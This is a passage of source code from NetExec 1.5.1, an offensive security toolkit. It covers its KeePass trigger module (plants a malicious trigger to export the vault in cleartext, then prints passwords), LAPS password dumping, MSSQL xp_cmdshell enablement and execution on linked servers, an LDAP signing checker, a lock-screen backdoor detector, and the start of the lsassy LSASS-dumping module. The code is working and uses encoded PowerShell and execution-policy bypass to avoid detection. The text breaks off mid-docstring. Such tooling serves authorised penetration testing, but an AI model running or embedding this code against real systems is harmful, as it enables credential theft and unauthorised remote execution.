export files from EXPORT_PATH ALL performs ADD, CHECK, RESTART, POLL, CLEAN actions one after the other KEEPASS_CONFIG_PATH Path of the remote KeePass configuration file where to add a malicious trigger (used by ADD, CHECK and CLEAN actions) USER Targeted user running KeePass, used to restart the appropriate process (used by RESTART action) EXPORT_NAME Name of the database export file, default: export.xml EXPORT_PATH Path where to export the KeePass database in cleartext default: C:\\Users\\Public, %APPDATA% works well too for user permissions PSH_EXEC_METHOD Powershell execution method, may avoid detections depending on the AV/EDR in use (while no 'malicious' command is executed): ENCODE run scripts through encoded oneliners PS1 run scripts through a file dropped in C:\\Windows\\Temp (default) Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.), but they can still be easily edited in the module __init__ code if needed """ if "ACTION" in module_options: if module_options["ACTION"] not in [ "ADD", "CHECK", "RESTART", "SINGLE_POLL", "POLL", "CLEAN", "ALL", ]: context.log.fail("Unrecognized action, use --options to list available parameters") sys.exit(1) else: self.action = module_options["ACTION"] else: context.log.fail("Missing ACTION option, use --options to list available parameters") sys.exit(1) if "KEEPASS_CONFIG_PATH" in module_options: self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"] if "USER" in module_options: self.keepass_user = module_options["USER"] if "EXPORT_NAME" in module_options: self.export_name = module_options["EXPORT_NAME"] if "EXPORT_PATH" in module_options: self.export_path = module_options["EXPORT_PATH"] if "PSH_EXEC_METHOD" in module_options: if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]: context.log.fail("Unrecognized powershell execution method, use --options to list available parameters") sys.exit(1) else: self.powershell_exec_method = module_options["PSH_EXEC_METHOD"] def on_admin_login(self, context, connection): if self.action == "ADD": self.add_trigger(context, connection) elif self.action == "CHECK": self.check_trigger_added(context, connection) elif self.action == "RESTART": self.restart(context, connection) elif self.action == "POLL": self.poll(context, connection) elif self.action == "CLEAN": self.clean(context, connection) self.restart(context, connection) elif self.action == "ALL": self.all_in_one(context, connection) def add_trigger(self, context, connection): """Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1""" # check if the specified KeePass configuration file exists if self.trigger_added(context, connection): context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping") return context.log.display(f"Adding trigger '{self.trigger_name}' to '{self.keepass_config_path}'") # prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path) self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name) self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) # add the malicious trigger to the remote KeePass configuration file if self.powershell_exec_method == "ENCODE": add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8") add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}" connection.execute(add_trigger_script_cmd) sleep(2) # as I noticed some delay may happen with the encoded powershell command execution elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.add_trigger_script_str) except Exception as e: context.log.fail(f"Error while adding malicious trigger to file: {e}") sys.exit(1) # checks if the malicious trigger was effectively added to the specified KeePass configuration file if self.trigger_added(context, connection): context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files") else: context.log.fail("Unknown error when adding malicious trigger to file") sys.exit(1) def check_trigger_added(self, context, connection): """Check if the trigger is added to the config file XML tree""" if self.trigger_added(context, connection): context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") else: context.log.display(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'") def restart(self, context, connection): """Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1 If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart """ # search for keepass processes search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing, skipping the header line csv_reader = reader(search_keepass_process_output_csv.split("\n")[1:], delimiter=",") # check if multiple processes belonging to different users are running (in order to choose which one to restart) keepass_users = [process[1] for process in list(csv_reader)] if len(keepass_users) == 0: context.log.fail("No running KeePass process found, aborting restart") return elif len(keepass_users) == 1: # if there is only 1 KeePass process running # if KEEPASS_USER option is specified then we check if the user matches if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user): context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: self.keepass_user = keepass_users[0] elif len(keepass_users) > 1 and self.keepass_user: found_user = False # we search through every KeePass process owner for the specified user for user in keepass_users: if user == self.keepass_user or user.split("\\")[1] == self.keepass_user: self.keepass_user = keepass_users[0] found_user = True if not found_user: context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart") return else: context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one") return context.log.display(f"Restarting {keepass_users[0]}'s KeePass process") # prepare the restarting script based on user-specified parameters (e.g: keepass user, etc) # see data/keepass_trigger_module/RestartKeePass.ps1 self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user) self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path) self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name) # actually performs the restart on the remote target if self.powershell_exec_method == "ENCODE": restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8") restart_keepass_script_cmd = f"powershell.exe -e {restart_keepass_script_b64}" connection.execute(restart_keepass_script_cmd) elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.restart_keepass_script_str) except Exception as e: context.log.fail(f"Error while restarting KeePass: {e}") return def poll(self, context, connection): """Search for the cleartext database export file in the specified export folder (until found, or manually exited by the user) """ found = False context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient") context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything") # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"" else: export_full_path = f"'{self.export_path}\\{self.export_name}'" poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"' # we poll every X seconds until the export path is found on the remote machine while not found: poll_exports_command_output = connection.execute(poll_export_command_str, True) if self.export_name not in poll_exports_command_output: print(".", end="", flush=True) sleep(self.poll_frequency_seconds) continue print() # once a database is found, downloads it to the attackers machine context.log.success("Found database export !") # in case multiple exports found (may happen if several users exported the database to their APPDATA) for count, export_path in enumerate(poll_exports_command_output.split("\r\n")): try: buffer = BytesIO() connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write) # if multiple exports found, add a number at the end of local path to prevent override local_full_path = f"{self.local_export_path}/{self.export_name.split('.'[0])}_{count!s}.{self.export_name.split('.'[1])}" if count > 0 else f"{self.local_export_path}/{self.export_name}" # downloads the exported database with open(local_full_path, "wb") as f: f.write(buffer.getbuffer()) remove_export_command_str = f"powershell.exe Remove-Item {export_path}" connection.execute(remove_export_command_str, True) context.log.success(f'Moved remote "{export_path}" to local "{local_full_path}"') found = True except Exception as e: context.log.fail(f"Error while polling export files, exiting : {e}") def clean(self, context, connection): """Checks for database export + malicious trigger on the remote host, removes everything""" # if the specified path is %APPDATA%, we need to check in every user's folder if self.export_path == "%APPDATA%" or self.export_path == "%appdata%": poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"" else: export_full_path = f"'{self.export_path}\\{self.export_name}'" poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"' poll_export_command_output = connection.execute(poll_export_command_str, True) # deletes every export found on the remote machine if self.export_name in poll_export_command_output: # in case multiple exports found (may happen if several users exported the database to their APPDATA) for export_path in poll_export_command_output.split("\r\n"): context.log.display(f"Database export found in '{export_path}', removing") remove_export_command_str = f"powershell.exe Remove-Item {export_path}" connection.execute(remove_export_command_str, True) else: context.log.display(f"No export found in {self.export_path} , everything is cleaned") # if the malicious trigger was not self-deleted, deletes it if self.trigger_added(context, connection): # prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc) # see data/keepass_trigger_module/RemoveKeePassTrigger.ps1 self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path) self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name) # actually performs trigger deletion if self.powershell_exec_method == "ENCODE": remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8") remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}" connection.execute(remove_trigger_script_command_str, True) elif self.powershell_exec_method == "PS1": try: self.put_file_execute_delete(context, connection, self.remove_trigger_script_str) except Exception as e: context.log.fail(f"Error while deleting trigger, exiting: {e}") sys.exit(1) # check if the specified KeePass configuration file does not contain the malicious trigger anymore if self.trigger_added(context, connection): context.log.fail(f"Unknown error while removing trigger '{self.trigger_name}', exiting") else: context.log.display(f"Found trigger '{self.trigger_name}' in configuration file, removing") else: context.log.success(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping") def all_in_one(self, context, connection): """Performs ADD, RESTART, POLL and CLEAN actions one after the other""" context.log.highlight("") self.add_trigger(context, connection) context.log.highlight("") self.restart(context, connection) self.poll(context, connection) context.log.highlight("") context.log.display("Cleaning everything...") self.clean(context, connection) self.restart(context, connection) context.log.highlight("") context.log.display("Extracting password...") self.extract_password(context) def trigger_added(self, context, connection): """Check if the trigger is added to the config file XML tree (returns True/False)""" # check if the specified KeePass configuration file exists if not self.keepass_config_path: context.log.fail("No KeePass configuration file specified, exiting") sys.exit(1) try: buffer = BytesIO() connection.conn.getFile(self.share, self.keepass_config_path.split(":")[1], buffer.write) except Exception as e: context.log.fail(f"Error while getting file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) try: keepass_config_xml_root = ET.fromstring(buffer.getvalue()) except Exception as e: context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}") sys.exit(1) # check if the specified KeePass configuration file does not already contain the malicious trigger return any(trigger.find("Name").text == self.trigger_name for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger")) def put_file_execute_delete(self, context, connection, psh_script_str): """Helper to upload script to a temporary folder, run then deletes it""" script_str_io = StringIO(psh_script_str) connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read) script_execute_cmd = f"powershell.exe -ep Bypass -F {self.remote_temp_script_path}" connection.execute(script_execute_cmd, True) remove_remote_temp_script_cmd = f'powershell.exe "Remove-Item "{self.remote_temp_script_path}""' connection.execute(remove_remote_temp_script_cmd) def extract_password(self, context): xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name) xml_tree = ET.parse(xml_doc_path) root = xml_tree.getroot() root_entries = root.find("./Root/Entry") if root_entries is not None: for entry in root_entries: if entry is not None: self.print_password(context, entry) else: context.log.highlight("None") objects = root.findall("./Root/Group") while objects: current_object = objects.pop(0) for entry in current_object.findall("./Entry"): self.print_password(context, entry) for history in entry.findall("./History"): for history_entry in history.findall("./Entry"): self.print_password(context, history_entry) objects.extend(current_object.findall("./Group")) def print_password(self, context, entries): for entry in entries.findall("./String"): key = entry.find("./Key") value = entry.find("./Value") key_text = key.text if key is not None else "None" value_text = value.text if value is not None and value.text is not None else "None" context.log.highlight(f"{key_text} : {value_text}") context.log.highlight("-------------------------------------") NetExec-1.5.1/nxc/modules/laps.py000066400000000000000000000065421514706431700166410ustar00rootroot00000000000000import json from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.helpers.misc import CATEGORY from nxc.protocols.ldap.laps import LAPSv2Extract class NXCModule: """ Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer) Initial module: @T3KX: https://github.com/T3KX/Crackmapexec-LAPS Credit: @mpgn_x64, @n00py1 """ name = "laps" description = "Retrieves all LAPS passwords which the account has read permissions for." supported_protocols = ["ldap"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *""" self.computer = None if "COMPUTER" in module_options: self.computer = module_options["COMPUTER"] def on_login(self, context, connection): context.log.display("Getting LAPS Passwords") searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" if self.computer is not None else "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))" attributes = [ "msLAPS-EncryptedPassword", "msLAPS-Password", "ms-MCS-AdmPwd", "sAMAccountName", ] results = connection.search(searchFilter, attributes, 0) results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: laps_computers = [] for computer in results: msMCSAdmPwd = "" sAMAccountName = "" values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]} if "mslaps-encryptedpassword" in values: msMCSAdmPwd = values["mslaps-encryptedpassword"] d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server) try: data = d.run() except Exception as e: context.log.fail(str(e)) continue r = json.loads(data) laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"]))) elif "mslaps-password" in values: r = json.loads(str(values["mslaps-password"])) laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"]))) elif "ms-mcs-admpwd" in values: laps_computers.append((str(values["samaccountname"]), "", str(values["ms-mcs-admpwd"]))) else: context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") laps_computers = sorted(laps_computers, key=lambda x: x[0]) for sAMAccountName, user, password in laps_computers: context.log.highlight(f"Computer:{sAMAccountName} User:{user:<15} Password:{password}") else: context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !") NetExec-1.5.1/nxc/modules/ldap-checker.py000066400000000000000000000257561514706431700202340ustar00rootroot00000000000000import socket import ssl import asyncio import hashlib import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget from asyauth.common.constants import asyauthSecret from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto import contextlib from nxc.helpers.misc import CATEGORY class NXCModule: """ Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ name = "ldap-checker" description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """No options available.""" # Conduct a bind to LDAPS and determine if channel # binding is enforced based on the contents of potential # errors returned. This can be determined unauthenticated, # because the error indicating channel binding enforcement # will be returned regardless of a successful LDAPS bind. async def run_ldaps_noEPA(self, context, connection, target, credential): try: client = MSLDAPClientConnection(target, credential) _, err = await client.connect() if err: context.log.debug(f"Error connecting to {connection.domain}: {err}") return None client.cb_data = None _, err = await client.bind() if err and "data 80090346" in str(err): return True # -> channel binding IS enforced elif err and "data 52e" in str(err): return False # -> channel binding not enforced elif err is None: return False # LDAPS bind successful -> channel binding not enforced else: context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") return None except Exception as e: context.log.debug(f"Exception in run_ldaps_noEPA: {e}") return None finally: with contextlib.suppress(Exception): await client.disconnect() # Conduct a bind to LDAPS with channel binding supported # but intentionally miscalculated. In the case that an # LDAPS bind without channel binding supported has occurred, # you can determine whether the policy is set to "never" or # if it's set to "when supported" based on the potential # error received from the bind attempt. async def run_ldaps_withEPA(self, context, connection, target, credential): try: client = MSLDAPClientConnection(target, credential) _, err = await client.connect() if err: context.log.fail(f"Error connecting to {connection.domain}: {err}") return None try: context.log.debug("Retrieving TLS certificate hash...") ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_context.verify_mode = ssl.CERT_NONE with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: cert = ssl_sock.getpeercert(binary_form=True) if cert: cert_hash = hashlib.sha256(cert).digest() context.log.debug(f"Original certificate hash: {cert_hash.hex()}") pos = random.randint(0, len(cert_hash) - 1) tampered_bytes = bytearray(cert_hash) tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") context.log.debug(f"Modified byte at position {pos}") client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) else: client.cb_data = b"\x00" * 64 except Exception as e: context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") client.cb_data = b"\x00" * 64 _, err = await client.bind() if err and "data 80090346" in str(err): return True elif (err and "data 52e" in str(err)) or err is None: return False else: context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") return None except Exception as e: context.log.fail(f"Exception in run_ldaps_withEPA: {e}") return None # Domain Controllers do not have a certificate setup for # LDAPS on port 636 by default. If this has not been setup, # the TLS handshake will hang and you will not be able to # interact with LDAPS. The condition for the certificate # existing as it should is either an error regarding # the fact that the certificate is self-signed, or # no error at all. Any other "successful" edge cases # not yet accounted for. def does_ldaps_complete_handshake(self, context, dc_ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) ssl_context = ssl.create_default_context() ssl_context.check_hostname = False ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) try: ssl_sock.connect((dc_ip, 636)) ssl_sock.do_handshake() return True except Exception as e: if "CERTIFICATE_VERIFY_FAILED" in str(e): return True elif "handshake operation timed out" in str(e): return False else: context.log.fail(f"Unexpected error during LDAPS handshake: {e}") return False finally: ssl_sock.close() # Conduct an LDAP bind and determine if server signing # requirements are enforced based on potential errors # during the bind attempt. async def run_ldap(self, context, target, credential): try: client = MSLDAPClientConnection(target, credential) client._disable_signing = True # deliberately disable LDAP signing on client connection _, err = await client.connect() if err: context.log.fail(f"Error connecting for LDAP bind: {err}") return None _, err = await client.bind() if err: errstr = str(err).lower() if "stronger" in errstr: return True # because LDAP server signing requirements ARE enforced else: context.log.fail(f"LDAP bind error: {err}") return None else: # LDAPS bind successful return False # because LDAP server signing requirements are not enforced except Exception as e: context.log.debug(f"Exception during LDAP bind: {e}") return None # Determine authentication context and proceed to # enumerate LDAP signing and channel binding settings def on_login(self, context, connection): context.log.fail("[REMOVED] Now natively supported in the host banner") return stype = asyauthSecret.PASS secret = connection.password if connection.nthash: stype = asyauthSecret.NT secret = connection.nthash if connection.aesKey: stype = asyauthSecret.AES secret = connection.aesKey anon_credential = NTLMCredential( secret="", username="", domain=connection.domain, stype=asyauthSecret.PASS ) if not connection.username and not secret: context.log.highlight("No credentials provided, skipping LDAP signing check") credential = anon_credential else: if not connection.kerberos: credential = NTLMCredential( secret=secret, username=connection.username, domain=connection.domain, stype=stype ) else: kerberos_target = UniTarget( connection.host, 88, UniProto.CLIENT_TCP, hostname=connection.remoteName, dc_ip=connection.kdcHost, domain=connection.domain, proxies=None, dns=None, ) credential = KerberosCredential( target=kerberos_target, secret=secret, username=connection.username, domain=connection.domain, stype=stype, ) ldap_signing_status = None if connection.username or secret: target = MSLDAPTarget( connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost, ) ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential)) if ldap_signing_status is True: context.log.highlight("LDAP signing IS enforced") elif ldap_signing_status is False: context.log.highlight("LDAP signing NOT enforced") else: context.log.fail("Could not determine LDAP signing requirement.") if self.does_ldaps_complete_handshake(context, connection.host): target = MSLDAPTarget( connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost, ) ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential)) ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential)) if ldaps_noEPA is False and ldaps_withEPA is True: context.log.highlight("LDAPS channel binding is set to: When Supported") elif ldaps_noEPA is False and ldaps_withEPA is False: context.log.highlight("LDAPS channel binding is set to: Never") elif ldaps_noEPA is True: context.log.highlight("LDAPS channel binding is set to: Required") else: context.log.fail("Could not determine LDAPS channel binding settings") else: context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured") NetExec-1.5.1/nxc/modules/link_enable_cmdshell.py000066400000000000000000000115221514706431700220120ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Enable or disable xp_cmdshell on a linked MSSQL server Module by deathflamingo """ name = "link_enable_cmdshell" description = "Enable or disable xp_cmdshell on a linked MSSQL server" supported_protocols = ["mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.action = None self.linked_server = None def options(self, context, module_options): """ Defines the options for enabling or disabling xp_cmdshell on the linked server. ACTION Specifies whether to enable or disable: - enable (default) - disable LINKED_SERVER The name of the linked SQL server to target. """ self.action = module_options.get("ACTION", "enable") self.linked_server = module_options.get("LINKED_SERVER") def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn # Store the original state of options that have to be enabled/disabled in order to restore them later self.backuped_options = {} if not self.linked_server: self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") return # Enable or disable xp_cmdshell based on action if self.action == "enable": self.enable_xp_cmdshell() elif self.action == "disable": self.disable_xp_cmdshell() else: self.context.log.fail(f"Unknown action: {self.action}") def enable_xp_cmdshell(self): """Enable xp_cmdshell on the linked server.""" self.backup_and_enable("advanced options") current_value = self.is_option_enabled("xp_cmdshell") self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}. Current value: {current_value}") self.mssql_conn.sql_query(f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]") self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") self.restore("advanced options") def disable_xp_cmdshell(self): """Disable xp_cmdshell on the linked server.""" self.backup_and_enable("advanced options") current_value = self.is_option_enabled("xp_cmdshell") self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}. Current value: {current_value}") self.mssql_conn.sql_query(f"EXEC ('sp_configure xp_cmdshell, 0; RECONFIGURE;') AT [{self.linked_server}]") self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") self.restore("advanced options") # Adapting methods from MSSQLEXEC for backup and restore functionality def restore(self, option): try: if not self.backuped_options[option]: self.context.log.debug(f"Option '{option}' was not enabled on {self.linked_server} originally, attempting to disable it.") query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 0;RECONFIGURE;') AT [{self.linked_server}]" self.context.log.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) else: self.context.log.debug(f"Option '{option}' was originally enabled on {self.linked_server}, leaving it enabled.") except Exception as e: self.context.log.error(f"[OPSEC] Error when attempting to restore option '{option}' on {self.linked_server}: {e}") def backup_and_enable(self, option): try: self.backuped_options[option] = self.is_option_enabled(option) if not self.backuped_options[option]: self.context.log.debug(f"Option '{option}' is disabled on {self.linked_server}, attempting to enable it.") query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\", 1;RECONFIGURE;') AT [{self.linked_server}]" self.context.log.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) else: self.context.log.debug(f"Option '{option}' is already enabled on {self.linked_server}.") except Exception as e: self.context.log.error(f"Error when checking/enabling option '{option}' on {self.linked_server}: {e}") def is_option_enabled(self, option): query = f"EXEC ('EXEC master.dbo.sp_configure \"{option}\";') AT [{self.linked_server}]" self.context.log.debug(f"Checking if {option} is enabled on {self.linked_server}: {query}") result = self.mssql_conn.sql_query(query) # Assuming the query returns a list of dictionaries with 'config_value' as the key self.context.log.debug(f"{option} check result: {result}") return bool(result and result[0]["config_value"] == 1) NetExec-1.5.1/nxc/modules/link_xpcmd.py000066400000000000000000000036571514706431700200360ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Run xp_cmdshell commands on a linked SQL server Module by deathflamingo """ name = "link_xpcmd" description = "Run xp_cmdshell commands on a linked SQL server" supported_protocols = ["mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.linked_server = None self.command = None def options(self, context, module_options): """ Defines the options for running xp_cmdshell commands on a linked server. LINKED_SERVER The name of the linked SQL server to target. CMD The command to run via xp_cmdshell. """ self.linked_server = module_options.get("LINKED_SERVER") self.command = module_options.get("CMD") def on_login(self, context, connection): self.context = context self.mssql_conn = connection.conn if not self.linked_server or not self.command: self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") return self.context.log.display(f"Running command on {self.linked_server}: {self.command}") query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]" result = self.mssql_conn.sql_query(query) if result: output_lines = [] for row in result: output_value = row.get("output") if output_value and output_value != "NULL": output_lines.append(str(output_value)) if output_lines: self.context.log.success("Executed command via linked server") for line in output_lines: self.context.log.highlight(line.strip()) else: self.context.log.display("Command executed but returned no output") else: self.context.log.fail("No result returned from query") NetExec-1.5.1/nxc/modules/lockscreendoors.py000066400000000000000000000075141514706431700211010ustar00rootroot00000000000000from io import BytesIO import pefile from nxc.helpers.misc import CATEGORY class NXCModule: """ Module for detecting Windows lock screen backdoors Module by @E1A """ name = "lockscreendoors" description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self): # List of exe names with expected descriptions self.expected_descriptions = { "utilman.exe": ["Utility Manager"], "narrator.exe": ["Screen Reader", "Narrator"], "sethc.exe": ["Accessibility shortcut keys"], "osk.exe": ["Accessibility On-Screen Keyboard"], "magnify.exe": ["Microsoft Screen Magnifier"], "EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"], "voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+ "displayswitch.exe": ["Display Switch"], "atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"], } # If description matches one of these it's almost certainly backdoored self.backdoor_descriptions = [ "Windows Command Processor", "Windows PowerShell" ] def options(self, context, module_options): """No options available""" def get_description(self, binary_data): # Extract the file description from version info try: pe = pefile.PE(data=binary_data, fast_load=True) pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]]) for fileinfo in pe.FileInfo: for entry in fileinfo: if entry.Key.decode() == "StringFileInfo": for st in entry.StringTable: desc = st.entries.get(b"FileDescription") if desc: return desc.decode().strip() except Exception as e: self.context.log.debug(f"Failed to extract PE info: {e}") return None def on_admin_login(self, context, connection): target_path = "\\Windows\\System32" tampered = False for exe, expected_descs in self.expected_descriptions.items(): try: # Grab the binary from the share buf = BytesIO() connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write) binary = buf.getvalue() # Extract and normalize the file description file_desc = self.get_description(binary) if not file_desc: context.log.fail(f"{exe}: could not extract FileDescription") continue # Check if the description is as expected if file_desc not in expected_descs: tampered = True if file_desc in self.backdoor_descriptions: context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'") else: if len(expected_descs) == 1: expected_str = f"'{expected_descs[0]}'" else: expected_str = ", ".join(f"'{d}'" for d in expected_descs) expected_str = f"one of: {expected_str}" context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})") except Exception as e: context.log.debug(f"Failed to process {exe}: {e}") if not tampered: context.log.display("All lock screen executable descriptions are consistent with the expected values") NetExec-1.5.1/nxc/modules/lsassy.py000066400000000000000000000215451514706431700172200ustar00rootroot00000000000000# Author: # Romain Bentz (pixis - @hackanddo) # Website: # https://beta.hackndo.com [FR] # https://en.hackndo.com [EN] import os import sys from lsassy.dumper import Dumper from lsassy.impacketfile import ImpacketFile from lsassy.parser import Parser from lsassy.session import Session from impacket.krb5.ccache import CCache from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY from nxc.paths import NXC_PATH class NXCModule: name = "lsassy" description = "Dump lsass and parse the result remotely with lsassy" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.method = None self.dump_tickets = True self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy") self.ticket_type = "ccache" def options(self, context, module_options): """ METHOD Method to use to dump lsass.exe with lsassy DUMP_TICKETS If set, will dump Kerberos tickets (Default: True) SAVE_DIR 